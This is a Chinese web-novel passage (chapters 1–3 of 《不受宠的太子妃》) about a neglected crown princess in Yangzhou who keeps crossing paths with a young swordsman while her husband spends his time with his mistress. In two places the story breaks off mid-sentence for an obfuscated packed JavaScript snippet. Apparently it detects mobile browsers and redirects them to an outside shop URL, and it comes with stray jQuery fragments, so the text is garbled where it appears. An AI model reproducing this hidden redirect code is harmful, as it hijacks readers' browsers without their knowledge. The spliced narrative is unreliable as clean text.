《不受宠的太子妃》
1. 第 1 章
“夫人,你快看前面有人在抛绣球。”青吉指着不远处拔地而起的一座绣楼,满是惊奇,要知道在汴京里根本没有过抛绣球选夫。
“夫人,你快来,新娘子出来了!”正在茶肆二楼喝茶的谢知虞耐不住她的催促,只得无奈起身来到她让开的窗牖边。
绣楼离她们这里不算远,谢知虞刚过来就看见落下的绣球往一个高梳马尾,穿着朱樱云纹箭袖胡服,白色交领内衬,腰系蹀躞的抱剑少年怀里扔去。
想来那位少年应是对方的心上人。
本该是郎情妾意的场景,那少年却在看见绣球朝自己扔来时如临大敌,身形利索漂亮,犹如一尾红色锦鲤往旁边游去。
又在绣球再次飞来,左右躲避不及时,足尖点地犹如飞燕踩上他人肩膀踢去。
朱红鹤纹发带飘舞间落在脸颊,墨发甩动露出一张桃花逐水流的恣意眉眼,任谁见了都要夸一句少年自有少年狂,藐昆仑,笑吕梁
对抛绣球不感兴趣,但好友让自己过来撑场子,顺带维持秩序的许拾安听见有东西砸来,立马闪过身往旁边一躲。
转过身凝睛一看,前面朝自己抛来的正是绣球。
好险,险些就要接到了。
很快,许拾安就发现了不对劲,因为好像他无论往哪躲,那绣球都像是长了眼睛一样飞向自己,忙朝一旁自己的好兄弟李羡安使眼色。
这好像和一开始说的不对吧!
李羡安心虚地转过头,当没有看见。
眼瞅着那绣球就要再次朝自己扔来,周围空地仅有自己一人的许拾安足尖点地,借势踩上一人肩膀借力抬脚往绣球踢去,力度大得让争抢绣球的人尚未反应过来,绣球就直直往外围飞去。
抛绣球选夫并不是满城男子都能来参加,女方家只会给看中,或是门户相当的男方递帖子,邀他们前来参加抛绣球选夫。并且还会用麻绳将内外两层隔开,确保不会有没有得了请帖的人闯进来误接了绣球。
要是真有人误接了绣球,也是将人请到绣楼里劝让对方主动放弃,若是对方软硬不吃,主家亦是有诸多强硬手段。根本不会出现话本子里的,富家小姐抛的绣球被乞丐穷书生捡到,含泪屈辱嫁给乞丐穷书生。
但不是所有人都知道这个规矩,在看见绣球向自己所在飞来时,摩拳擦掌争先恐后的都想要抢到绣球成为富商的乘龙快婿。
眼里还回荡着先前少年身姿惊艳的谢知虞看着推搡拥挤的人群,正想着那绣球最后会花落谁家,忽听有风吹来,低头间就看见一只绣有牡丹,鸳鸯,蝴蝶,缀着七彩球穗的绣球直直朝她砸来,还正巧落进了她怀里。
一时之间整个现场都变得极为安静。
即便绣球抛到外层,也应该是由男子接到,但,为何就是个女子?
一脚将绣球踢出去的许拾安察觉到自己闯祸了,头皮一阵发麻的就要去把绣球拿回来。身形微动,犹如一只轻盈的燕子低飞往绣球飞去的茶肆二楼跑去。
其他人只感觉到有一阵清风拂过,被踩中为支点的人后知后觉的破口大骂。
“谁踩老子的头!”
“谁踩我,活得不耐烦了吗。”
绣球刚入怀的谢知虞还未反应过来,一双淡若琥珀不含一丝杂质的眸子陡然撞进眼帘里,骇得谢知虞下意识往后退一步。
“你好,我是刚才不小心把绣球抛过来的人,我不是登徒子,更不是那种梁上君子。”行为出格的少年意外有一把极为好听的嗓音,清冽干净又带着恣意的风。
那风飘悠悠的来,又飘悠悠的像是往她耳边吹了一口气。
朱唇轻抿的谢知虞低头看了眼怀里,绣有牡丹,鸳鸯,蝴蝶,缀着七彩球穗的绣球,目光下移是一只手握长剑,但生得极为好看的手。
不同于他丈夫的白皙修长,莹润如美玉雕琢,却是骨节分明,又带着野蛮恣意生长的筋骨。
脚下踩着屋檐,一只手扒着窗牖边缘防止掉下去的许拾安见她不说话,以为是被自己给吓到了,又见她梳着妇人发髻,心里愧疚得不行,还有隐约松了一口气,“夫人,实在是不好意思,可否归还绣球给我,在下定感激不尽。”
意识到自己居然盯着个陌生男人的手发呆后,面上难掩羞愧的谢知虞把怀里的绣球递过去,“这绣球本就是不小心落到我怀里的,我自然是要归还。”
许拾安先是听到了水鸟羽毛拂过水面的声音,紧接着在她抬起头的那一刻,心脏为之漏了一拍,又像是有人用手轻轻捏了一下,泛起酸涨气息。
几缕碎金阳光洒落在她白得近乎透明的侧脸,如云乌发上,像极了定窑白瓷里一朵栀子花。
“此次是我惊扰到了夫人,夫人………”
没等他诚恳的道歉,气鼓鼓的青吉走过来,啪的一声关上窗,“公子既然拿到了绣球,就快些走吧,要不然外面那些看热闹的人全都挤过来了。”
直到窗牖啪的一身关上,怀里抱着绣球的许拾安才如梦初醒。
意识到自个在想什么,从脚到脸臊红得不行。
底下的好友正扯着嗓子喊他下来,等下来后,许拾安忍不住回头望了一眼那关着窗的包厢,“里面是哪家夫人?”
李羡安拍了好友肩膀一下,他前面只来得及看见一个羸弱纤细的背影裹在水蓝色素罗儒里,仅露出一截粉白细腻脖颈,不以为然道,“我也不认识,兴许是随丈夫过来游玩的,好了,绣球拿回去了,咱们也得回去了,要不然大小姐定得要生气了。”
许拾安甩了甩发尾,“走吧。”
谢知虞对于今日的小插曲并不在意,等傍晚回去时,管事压低声音来报,“夫人,老爷回来了。”
得知他回来了,谢知虞难免连脚步都加快了两分。
自来扬州的半个多月,她就从未见过他。
又在靠近书房时,停下动作莲步轻移,平复胸腔气息,一只纤细得过于瘦弱的手推开雕花门,“夫君何时回来的?”
正坐在案几前的男人听到声音抬起头来,他刚沐浴结束,身上还带着清冽的水汽,因在寝室不打算外出,只随性穿了件青缟色云袖宽袍大袖。
若是旁人穿上,定是会被衣服颜色压住显得老气横秋,要么偷穿大人衣服的不伦不类,他却依靠身姿提拔,穿出了一身素衣风骨的青松之喻。
“刚回,你今天出去了,玩得可还尽兴。”他的声线一如他人,清冷,疏离得犹如高不可攀的巍峨雪山,又似半空中遥不可及的悬月。
而这,即是她的丈夫,当朝太子楼怀玉。
走过来的谢知虞见他杯中茶水已空,为他倒上水后,瞥到他眼下挂着的一抹青黑,关心道:“此事是不是很棘手?”
一个月前,京中收到一封带血密信,直指江南一带有官员和前朝余孽勾结意图谋反,还在私底下垄断盐业,霍乱民生。
此事并外对露出半分声响,为防打草惊蛇,身为太子的楼怀玉携妻乔装打扮,化身来扬州做生意的北地富商暗中搜查罪证。
“再过段时间就会处理好了,不用担忧。”他说完这句话后,两人之间又是一阵沉默居多。
其实有很多话想要说的谢知虞最后仅是垂下眸子,轻声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563057|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“我刚回来,我先去沐浴。”
手上拿着折子翻看的楼怀玉微微颔首。
即便成婚已有三年之久,他们之间除了床第间,私底下好似陌生人,就连屋里都静悄悄得如一副静止的画。
傍晚一过,山峦间的暗紫深蓝会渐渐吞噬天边橘黄余晖。府里的丫鬟们就会在檐下挂起灯笼,石灯里也不能忘掉,免得有人走夜路不小心摔了个满嘴牙。
谢知虞沐浴出来后,下人们已经把晚膳端上来了,因他吃饭的时候不喜旁边有人伺候,又喜食不言寝不语,以至于周围安静得,一时之间仅偶尔有筷子碰到碗边的声响。
等吃完饭后,谢知虞亲自端来茶水给他漱口,踌躇了许久才开口,“夫君这一次回来,是不是不会离开了?”
接过茶水呷上一口的楼怀玉凤眼凌厉,带着凉薄乜过她,“你应该知道,我们来扬州不是游山玩水。”
自觉说错话的谢知虞眼帘微垂,“妾身知道,妾身只是担心夫君会太累了。”
其实她在说这句话的时候,是存了自个私心的,因为她知道夫君的心上人也跟着来了扬州。如今就住在离乌衣巷不远的桐花胡同里,夫君不曾回来的这段日子,应当就是陪那位心上人了。
说来可笑,她和夫君成婚已有三年,但汴京里的人都知道她夫君已有心上人,只是因心上人身份低微当不上太子妃,才勉为其难的娶了身为太傅之女,又才名远扬的她。
夫君又因心上人不愿为妾,就将人养在外面,千娇万宠的把她当成真正的妻,而她谢知虞仅是个娶回来打理东宫的管事。
指腹摩挲着茶盏边缘的楼怀玉搁下茶盏,眸色沉沉得连光亮都不曾透进分毫,“安寝吧。”
时隔一个多月,当自己丈夫再次躺在身边时,谢知虞竟产生了一种陌生的感觉,还有轻微的不适感。
在她强迫着让自己入睡时,男人强健有力的手臂从身后搂住了她的腰,带着薄茧的微凉指尖从她小衣探入,黑暗中能听见他加重的呼吸声。
在她险些发出惊呼声时又猛地咬着舌尖咽下,有过片刻僵硬的身体又很快软下来,伸手回搂住男人宽阔的肩膀。
身体被翻过来的谢知虞像是被叼住后颈的幼猫,脑袋昏沉沉地望着从窗牖边洒落进来的清冷月色。
月色微晃如银凝,她伸出手想要去抓住那抹月亮,又因突如其来的刺疼而绷紧身体。
突如其来的动作,疼得额间冷汗凝落的谢知虞十指用力抓紧身下床单,想要让他离开,又想到这是她身为妻子的本分,她不能,更不能拒绝自己的丈夫。
强烈的不适感想出声让他慢些,又想到他并不喜欢自己在床榻间发出声响,只能咬牙忍着在下唇留下一排印子。
因为她发出声响,看着就不会像那人了。
谢知虞一开始以为夫君是因为自己父亲是太傅,她又是名满汴京的才女才会娶自己,直到她意外遇见夫君心尖尖上的那位姑娘。
才惊绝自己竟和她生得有五分相似,或许这才是他真正愿意娶自己的本意。否则满京多的是比她身世高贵又富有才情的女子,他又怎会相中那时才初初满十三的她。
进退两难的楼怀玉感受到身下人的紧绷僵硬,嗓音暗哑的揉着她腰肢,咬着她圆润小巧的耳垂,“放松些。”
在他的安抚下,谢知虞紧绷的身体才缓缓放松下来。
或许是感受到她的放松,男人不负先前的温柔,反倒是如行军打仗般大开大合,横冲直撞的恣意。
浸了凉的月色从窗牖边洒落,勾勒出床榻间交叠的两道身影。
2. 第 2 章
谢知虞第二天醒来后,身上一片干爽,唯有腿间酸疼未散,想来是他抱着自己去清洗过了。
喉咙一片干渴,正要唤丹祥进来,水晶珍珠帘子先一步被人掀开发出琳琅玉碎。
清晨阳光落在来人身后,犹如镀上一层朦胧金光。
一袭白衣更衬得人眉眼如画,潇潇如月下柳的楼怀玉走了进来,倒了一杯水递给她,“身体还有哪里不适?”
昨天夜里他险些失控多次,唯恐会伤到她。
接过水杯的谢知虞以为他已经离开了,没想到他人还在,雪白贝齿轻咬嫣红下唇,睫毛如蒲扇投下小片阴影,“妾身无事。”
在气氛逐渐冷凝下来时,指尖揉搓着蚕丝被角的谢知虞问起,“夫君今日不出去吗?”
“我来扬州一段时间了,才想到自己从未陪你出去过,倒是我这个当丈夫的失职了。”楼怀玉接过她喝完水的茶杯,“今晚上有庙会。”
听到他要陪自己逛庙会时,谢知虞是心生欢喜的,只是这抹欢喜仅残留一瞬又被掩去,唯剩舌根缠而密的涩意,“夫君陪我,叶姑娘不会生气吗?”
明明她才是夫君明媒正娶的正妻,却活得更像个躲躲藏藏见不得光的外室。她甚至没有质问的勇气,因为她知道即便质问,除了留她当个声嘶力竭的疯子,将本就不喜自己的丈夫越推越远后,再没任何用处。
“是她提议的。”轻飘飘的一句话,却轻而易举的席卷了室内仅存的暖意。
指尖无意识勾住身下床单的谢知虞陷入了沉默,随即心中又泛起难掩的自嘲,她到底总在期待些什么。
原来连让自己丈夫陪自己,都是其她女人施舍来的。
早膳端上来时,有丫鬟匆匆来报,“老爷,有客来了。”
楼怀玉点头,对着刚梳妆好准备吃饭的妻子,仅扔下言简易赅的一句,“你先自己用饭,晚点我在回来陪你去看花灯。”
“好,夫君就算忙,莫要忘了吃早饭。”
等早膳端上桌后,谢知虞对着满桌精致菜肴,却没有一点儿胃口,正想要让他们撤走。
一旁的青吉苦口婆心的劝道:“夫人,你肠胃本就不好,哪怕不饿,多少也得要吃点才行。”
“奴婢见今早上的红枣小米粥煮得极好,还有这金丝蛋卷做得也不错,夫人要不要吃点。”
不想再听她唠叨的谢知虞只得端起一碗小米粥,等喝了小半碗粥实在喝不下了,就不再勉强自己。
青吉还想再劝的,嘴唇翕动一二后仍是停了话头,给夫人端来漱口的清水。
谢知虞端过清水漱口后,问道:“夫君还没会客结束吗?”
刚才出去打听消息的丹祥脸色难看的回来:“夫人,刚才老爷出去了。奴婢看见来叫老爷的,是那位身边的丫鬟。”
谢知虞听后仅是淡淡的,让她们把剩下的饭菜端下去。
青吉对夫人打抱不平,“夫人,你就不生气吗,那位也太过分了,她难道不知道你才是老爷明媒正娶的妻子吗。”
“我都不生气,你有什么好气的。”谢知虞捻起一块桂花糕递到她嘴边,“尝下好不好吃。”
从嫁给他的那刻起,谢知虞就很清楚的明白。
她的丈夫不可能只属于她一人,现在不会是,以后更不会是,哪怕她是明媒正娶过了皇家玉碟的妻子又如何,难道就因为他去见别的女人,宠幸别的女人就大哭大闹,以死相逼不让他去吗?
她要是真那么做了,届时等待着她的,只有因善妒一条被赶为下堂妻。
燕国并不歧视女子二嫁,可她要是真被休回家了,一向将名声看得比命还重的父母祖父祖母只怕会容不下她,认为她丢了谢家脸,败坏了谢家名,谢家更不能有一个被休回家的女儿(孙女)。
那么最后她的结局,唯有三尺白绫悬上梁。
他说晚上会陪自己看花灯,哪怕谢知虞知道大概会和之前那样失约,但他是自己丈夫,无论他届时是否失约,身为妻子的她都只能信他。
哪怕真的失约了,也不能有任何怨怼,因为他是自己丈夫,他无论做什么都是对的。
刚来扬州的那段时日,谢知虞已经将谢家产业都巡视过一遍了,如今人一旦闲下来竟不知该做些什么。
要是在汴京还能请其她夫人来喝茶赏花,调解东宫侍妾间的矛盾消磨时间,在这里就仅剩下她一人。
自嫁入东宫后,她从未觉得时间是那么难熬的一件事。
丹祥看出夫人想一个人待着,对青吉使了个眼神让她出来,又因后者不会看眼神,干脆直接拉着她手出来。
她们出去后,本就空的屋子更空了,静得谢知虞连自己的呼吸声都清晰可闻。
被拉出来的青吉不满地甩开手,“你拉我出来做什么啊。”
丹祥有时候真心觉得她该去看下眼睛,“夫人明显是想一个人待着,我们在里面做什么,碍夫人的眼吗。”
青吉小声的反驳道:“可我觉得夫人更应该想让我们陪着才对。”
这句话到后面越发的小,最后又变成喃喃一句,“也不知道老爷什么时候回来,你说老爷这次答应夫人的事,会不会又像之前那样失了约。”意识到说错了话,连忙捂住自己的嘴巴,对外呸呸呸。
今早上出门的楼怀玉直到傍晚才回城,在经过一个分岔路口时。
驾车的叶从安问道:“老爷,我们是回乌衣巷,还是去桐花胡同。”
乌衣巷是谢知虞居住的地方,而桐花胡同则是另一位。
正在闭眼假寐的楼怀玉沉吟片刻后,骨指半屈轻叩膝面,才缓缓道:“回乌衣巷。”
他答应了今晚上要陪她逛庙会看花灯,理应得要做到,更不想要看见小妻子失望又总强撑着说无事的盈盈水眸。
那模样总会令他想到,他年幼时养的一只赤玉小猫。
在自己因忙很长时间没有来看它,就会露出可怜又委屈,但又不敢教他发现的表情。
直到檐下挂满照明灯笼,桌上饭菜不知热了多少轮后,谢知虞才认清他应该是去陪那位心上人。
并没有让丫鬟把饭菜撤下去,而是端起饭夹起还温热着的菜,入口慢慢咀嚼。神色平静得好似并不在意,失了约的丈夫此时在陪另一个女人。
以前的她会失落,会难过,可就算她再失落再难过,又能改变得了让他不要去陪另一个女人吗?
既改变不了,那就让自己不再抱有半分期待。
谢知虞刚端起米饭送进嘴里,青吉欢喜的声音就先飘入了耳边,“夫人,老爷回来了。”
“抱歉,我路上遇到了点事,方才回来晚了些,夫人莫怪。”进来的楼怀玉见她还没吃,难免心生愧疚,“往后我不回来吃饭,会提前派人和你说一声。”
“夫君用过饭了吗,要是没有吃的话正好陪妾身用些。”谢知虞说完,就吩咐婆子再准备一副碗筷来。
“我来的时候已经吃过了。”楼怀玉虽吃过了,人却没有离开的坐在桌边陪她。
当他靠近的时候,谢知虞敏锐的从他身上闻到了一丝柑橘甜香。
她并不喜欢在衣服上熏香,何况是如此甜腻的香味,想来是他心上人留下的。
本就味如嚼蜡的一顿饭,多添橘香后更是难以下咽。
楼怀玉见她只是吃了半碗,亲自舀了一碗满满莲藕排骨汤给她,“本来就瘦,怎么还吃那么点。”
谢知虞看着面前满满一大碗的莲藕排骨,喉间上涌恶心感到一阵反胃,连刚才吃的饭菜都直接堵到了嗓子眼,“妾身刚才吃了几块糕点,并不是很饿。”
说完后,谢知虞看着面前的莲藕排骨,哪怕吃不下又泛恶心地夹起一块莲藕放进嘴里。
筷子刚夹起,从桌上站起来的男人冷然的不悦声传来,“不想就别吃,我又不会强迫你吃。”
“妾身没有不想吃。”谢知虞面色如常地咽下那块莲藕,要是他真的不会强迫她吃,又怎会舀了一碗放在她面前。
就像母亲明知她讨厌什么,却总会一遍遍不厌其烦的在她面前提起,要是食物就会强硬着让她吃下去,以此满足自己强势的掌控欲。
不吃?她根本没有选择不吃的权力。
等吃完饭后,马车已经停在了门外。
以为他今晚上不会回来了,谢知虞就没有换衣服,穿的是件素雅的藕粉色抹胸长裙,外罩缟羽蝶恋花袖纱衫,抬手间隐约可见雪白软肉,发间亦素净得只在垂鬓处别了支花影摇红的流苏步摇。
失了几分往日的清冷,多了几分少女娇媚,犹如荷花初绽清丽柔婉,又似白描画的海棠堆雪。
要出门,她身上这一套是不妥的,得要换一套典雅端庄的才行。
在她要素手拨弄珠帘回内室更衣时,正要出去的楼怀玉转过身,沉声道:“你穿这身很好看。”
“这身只合适在院里穿,要是真穿出去只怕于礼不合。”谢知虞顿了顿,又道,“妾身换衣服很快的,定不会让夫君多等。”
进了内室后,谢知虞庆幸她提前准备好了如果出门要穿的衣服。
绣着百合的碧落诃子,外搭湖水蓝大袖褶衣,碧落襦裙和一条浅紫色披帛。髻发并未重梳,只是把原本的单支流苏步摇取下,换成两支如意玉笄簪。
离去前,又见到镜中自己的唇色过于苍白,又取了盒胭脂,手指扣着边缘暗扣打开,用指腹蘸取少许胭脂往小巧圆润的朱唇上对镜涂抹均匀。
正交代下属的楼怀玉听见声音转过身,霜冷月色倾洒笼罩,好似见着一支浸水白梅,唇上一抹胭脂倒成了唯一一抹亮色。
又见她穿得如此单薄,眉心微拧,“今晚上可能会凉,不多加件衣服吗。”
谢知虞摇头,“妾身并不惧寒。”
惧寒的是他心上人,而非她谢知虞。
楼怀玉自知说错了话,便没有多说,以至于在前往举办庙会的路上,马车里安静得只有彼此的呼吸声和那马车轮子滚动的辚辚声。
垂眸望着袖口水仙花纹的谢知虞在想,他们是从什么时候变成这样的?
其实她在没有嫁入东宫时,也曾幻想过和自己夫君举案齐眉,相敬如宾,哪怕知道她的夫君不会只守她一人,日后定会三宫六院,仍可耻地抱有过这种幻想。
只是这一丝可笑的幻想在新婚夜起,就彻底碾成了粉末。
她的夫君以她年龄太小同房不好为由拒绝,起初她是高兴的,认为夫君是个温柔又体贴的君子,直到夫君的心上人找上来。
少女脖间吻痕斑驳,得意又骄傲的告诉她,“就算你嫁给了太子又如何,太子的心永远只在我这里,就连我让他不碰你他都做到了。”
“我们的太子妃该不会还傻乎乎的以为,他是真的心疼你才不碰你的吧,真正爱一个人是根本克制不住的。”
若说她心上人的挑衅是导火线,后面则是一点点小事堆积而起,每当她有什么不懂或犯了错的地方想要去问他,想要同他寻求帮助。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563058|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都总会用一种失望的复杂眼神看她,哪怕他一个字没有斥责她,谢知虞却能从他眼里看出他的失望,还有她从心底蔓延而上,犹如藤蔓缠住她不放的羞耻,无助。
失望他为何会娶了自己,失望自己怎会如此蠢笨,居然连这点儿小事都做不到。
还是失望自己不是他心上人,却强行占了他心上人的位置。
“老爷,夫人,到了。”叶从安的声音恰好打破了马车里的宁静,也让谢知虞从那喘不过气的过往中缓过来。
睁开眼的楼怀玉下马车后,不忘对她伸出手,“夫人。”
向她伸来的那只手骨节分明,指节修长宛如莹润通透的白玉,是极为漂亮的一只手。
望着这只手的谢知虞突兀地想到了另一只手的主人,一个和自己丈夫截然不同的人。
内心自嘲一声的谢知虞把手搭上去,动作轻柔飘逸地踩着轿凳下了马车。
她想,她应当是魔怔了,要不然怎么会想起一个素不相识的男人的手,还是当着自己丈夫的面。
两人颜色生得好,路过的人总忍不住多往他们身上看几眼,更有胆大者直接当着谢知虞的面,往楼怀玉怀里扔香帕,或暗送秋波。
谢知虞停在个买面具的小摊前,正思索着要买哪个好遮脸,要不然今晚上别说看花灯了,他们倒成了被人看的猴。
沈从文神色着急的走了过来,压低声线道:“老爷,不好了,出事了。”
楼怀玉听后,再次看向她时隐隐带着愧疚,“夫人,我有事要离开一趟,你要是逛累了就先回去,不必等我。”
“夫君既然有事要忙,还是快些去处理为好。”谢知虞就像之前很多那样,望着他远去的背影,眼里不曾起一丝波澜。
她知道,是他的心上人派人来喊走他的。
因为这样的场景在她嫁入东宫后发生过了很多次,起初她以为他是真的有事在忙,可是当目睹前一刻说有事在忙,后一刻却出现在别的女人身边后,就知道曾经相信过他的自己有多可笑。
有时候谢知虞不明白,既然他们两个如此深爱,为何不能为彼此一方妥协?
一旁的青吉气鼓鼓着脸,为自家夫人打抱不平,“夫人,老爷也太过分了,还有那个狐狸精也是,老爷说好今晚上陪你的。”
对于她的生气,心口泛起涩意的谢知虞倒是极为平静,“我怎么拦,你要我一哭二闹三上吊还是怎么做。”
男人的心从来不在她身上,就算她以死相逼,死缠烂打又有什么用?
就算斗走了一个叶采萱,谁能又肯定以后没有李采萱,王采萱,张采萱。
“但是,夫人你也不能由着那狐狸精欺负你啊。”反正青吉就是觉得很生气,还有老爷也是,放着那么好的夫人不珍惜,非得眼瞎捧着外面的狐狸精。
“青吉,你可知道你刚才说的话要是传到了老爷的耳边,身为夫人的我都不一定能保得住你。往日我教你谨言慎行四字,你都忘了吗。”谢知虞知道她是为自己生气,但她今日说出这些话,要是自己不加以制止,只怕她哪日会因为自己这张嘴多生事端。
青吉脸色骤白,手足无措得像做错事的孩子,眼眶红得像是要哭出来,“夫人,我没有,我只是觉得她太过分了。”
“我都不觉得过分,你反倒先替我气上了,下不为例,否则以后你就到花房伺候去。”谢知虞伸手捏了下她吓得发白的小脸,“他不在,我们不能好好玩吗,扬州点心糖水一绝,你就不想尝下?”
青吉现年才十五,正是对什么新鲜事物都好奇的年龄,很快将那点儿不愉快抛到脑后。
对比于青吉的玩心重,丹祥则要稳重很多,担心会走散,眼睛更是一瞬不瞬的盯着夫人。
今日有庙会,街道上出来游玩的人都比往日多。
人潮拥挤,摩肩接踵。
手上提着一盏莲花灯的谢知虞抬头望向远处,犹如银河连绵起伏的花灯长街,心中的那丝闷烦好像也随之烟消云散了。
“快看,前面有打铁花。”人群中不知谁突然喊了一句,就像是往本就拥挤的人群里再度塞人,拥挤得连周围空气都要掠夺了个干净。
丹祥见挤的人多了,生怕走散地抓住夫人的手,“夫人,你跟好我们。”
谢知虞眼见青吉要被人流冲散了,伸手就要去抓她手腕,“青吉,我们在这里。”
说好不要被人群挤散的,但当人一多起来,哪儿还找得见身边人哪儿在哪儿,有的只是一味的随波逐流,就连自个的声音都渐渐淹没于人群中。
因着人潮拥挤,后面的人不断往前挤,前面的人想要往后出去,挤挤挨挨得导致重心不稳的谢知虞不小心被推倒在地,掌心被地面尖锐的石子划破,泛起一阵疼意。
可是人潮太拥挤了,谁都没有注意到被摔倒的她,就连后面的人还在不断往前挤。
还没站起来,就再次被后面的人给推倒的谢知虞急得连忙出声,“你们不要过来,这里有人摔倒了!”
不知是她的声音太小,还是人群过于拥挤,以至于后面的人根本没有听见。
咬着牙忍疼的谢知虞刚站起来,又被身后的人无意中一推往前摔去,这一推的力度比前更甚。
就在谢知虞同前面那样以为自己再次会摔倒时,一只强健有力的手搂住了她的腰,让她避免了摔倒在地的窘迫。
一道中气十足的声音骤然响起,“你们眼睛是不是瞎了,没看见有人被你们给推到了吗!”
3. 第 3 章
今夜庙会人流多导致衙门人手一时不足,但在听见这边的动静后马上赶了过来,驱赶疏离着拥挤的人群,免得真发生了践踏事故他们可不好交代。
脸埋在男人强健有力胸口,纤细柳腰被男人强势搂住的谢知虞耳根泛红,羞愤欲死。
在这种情况下,指尖无措的谢知虞不但听到了对方剧烈的心跳声,还闻到了他身上,类似放在阳光下暴晒后的被子的味道。
更准确来说,是阳光的干燥气息。
正要让他放开自己,好心扶住她的那人在她站稳后,就马上松开手,不好意思的握拳置于唇边轻咳一声,“夫人,你没事吧?”
不知想到什么,耳根通红一片的少年拱手致歉,“方才我是情急之下才出手的,并非登徒子有意冒犯夫人,若有得罪之处,还望夫人见谅。”
腮上不知是不是胭脂晕染,一路染红到鬓角的谢知虞摇头,“我没事,多谢公子出手相救。若不是公子及时出手相救,只怕我真会被践踏受伤了。”
谢知虞回想起先前场景仍是一阵后怕,更担忧的是既有庙会,为何衙门不多调派人手过来维持秩序?
难不成偌大的州府里,连个维持正常秩序的衙役都不够吗。
“夫人,想不到是你。”故作惊讶的许拾安抬起一双潋滟带笑的桃花眼,暖春轻薄逐流水,“扬州城那么大,有些人一辈子都不一定能遇到,我们却遇到了两次,夫人不觉得是缘分吗。”
他带着惊喜的声音落下,才抬起头的谢知虞率先撞入眼帘的是那双眼窝深邃,在光影斑驳下流转着蜜糖色的琥珀眸子。
身姿清瘦挺拔的少年穿着件褚红燕纹窄袖胡袍,清澈明亮含着笑的眼里正倒映着她的影子。
指尖微蜷的谢知虞看着这双眼睛,先陌生了片刻,随后才从他的声音中认出了,他就是上次不小心把绣球抛到自己怀里的人。
眉眼半弯如寒冬遇暖,漾出点点笑意,“公子,原来是你。”
“我叫许拾安,夫人不介意的话喊我拾安就行,要不然喊我公子,我总觉得哪儿奇怪。”许拾安见她一个人,眉头蹙起难免关心道:“夫人,就你一个人吗?”
谢知虞眼底划过一抹黯淡,否认道:“没有,我和丫鬟们一起来的。”
许拾安见她明显梳着妇人发髻,话里划过一抹失落,正想要问你夫君呢?
青吉和丹祥两个丫鬟已经着急担慌地跑了过来,对着她上下检查,见没有事才跟着松了一口气。
青吉怕得眼泪啪嗒啪嗒直掉,“夫人你没事就好,刚才奴婢跟着你走散了,奴婢都要担心死了,奴婢再也不敢乱看花灯了。”
丹祥赞同的点头,“夫人,要不我们先回去了吧。”
取出帕子,为青吉擦走脸上泪痕的谢知虞难免好笑的安抚道:“今天出来玩,就应该玩得开心,何况我不是没事吗。”
“夫人,这位公子是?”丹祥注意到一旁的许拾安,目露戒备的把夫人挡在身后。
手搭上她肩膀的谢知虞摇头,“刚才要不是这位公子拉了我一把,只怕我真的会摔倒。说来这位公子还算是我的救命恩人。”
“夫人,我姓许,叫许拾安,你喊我拾安,或者许拾安就好。”许拾安很是诚恳的再次自我介绍,带着一股子少年的执拗。
“刚才是这位许公子拉了我一把。”拾安二字,谢知虞觉得过于亲密了,要是连名带姓又显得不尊重。
丹祥这才放下戒心,屈膝行了一礼,“多谢公子,改日婢子定会让老爷亲自登门道谢。”
“我只是正好遇到,道谢什么就不用了,何况上次的事我还没来得及感谢夫人。”许拾安正想要和她多些会儿话,眼尖的注意到她蜷缩着的掌心正往下滴血,没有多想的直接拉过她的手,摊开她的掌心。
只见她白皙柔软的掌心里布满了擦伤,还有些尖锐的细小石子扎了进去。
又因她肤色白,皮肉娇嫩,更显骇人。
“你这登徒子想对我们夫人做什么!”眼珠子瞪圆了的青吉前面还以为他是个好人,没想到就是个不要脸的登徒子。
许拾安又气又好笑,“你这丫鬟简直不分好赖,没看见你家夫人手受伤了吗。”
青吉凑过来才注意到夫人血肉模糊的掌心,面上血色刹那间褪了个干净,“夫人,你的手怎么受伤了。”
“刚才不小心摔倒的,只是看着严重罢了,并没有什么大碍。”手被男人握住,掌心摊开,感到难言羞耻的谢知虞指尖蜷缩的想要把手收回,“只是些小伤,我去医馆处理就好了。”
“离这里最近的医馆怎么也得要一盏茶,你的手是不想要了吗。”沉下脸的许拾安碰到她手的时候,第一感觉是她的手怎么那么凉。
像浸雪梅枝,又像藏在寒潭里的瓷。
板着脸的许拾安没有松开她的手,反而强势拉着她的手往前走,“你手上的伤得要尽快处理才行,除非你想要留疤。”
“许公子,我能自己走,你可否把手放开。”手腕被攥住的谢知虞第一次同丈夫以外的男子亲密接触,能感受到被他握住的手腕处很烫,像有火星子滚落却又不会带着灼伤的难受。
她想要把手腕从他掌心抽离,明知不对,又可耻的贪恋这一抹暖意。
担心会再次被人群挤到,许拾安就带着她去了旁边的空地。
丹祥见他一个外男想帮夫人处理伤口,当即眉心狠狠一跳的把人挤开,“我来给夫人处理伤口就行,就不劳烦公子了。”
本来让夫人受伤他们就很自责了,要是再让老爷知道夫人的伤口还是外男处理的,她都不敢想老爷有多生气。
“你家夫人伤口的小石子扎得深,你挑的时候小心些莫要弄疼她了。”许拾安并不固执,担心周围光线不够亮跑去买了一盏兔子抱月花灯,在看见卖糖葫芦的小贩时,鬼使神差的要了串糖葫芦回来。
谢知虞看着递到嘴边,裹着一层晶莹甜香糖衣的糖葫芦,尚未反应过来时,他的解释倒先从耳边传来。
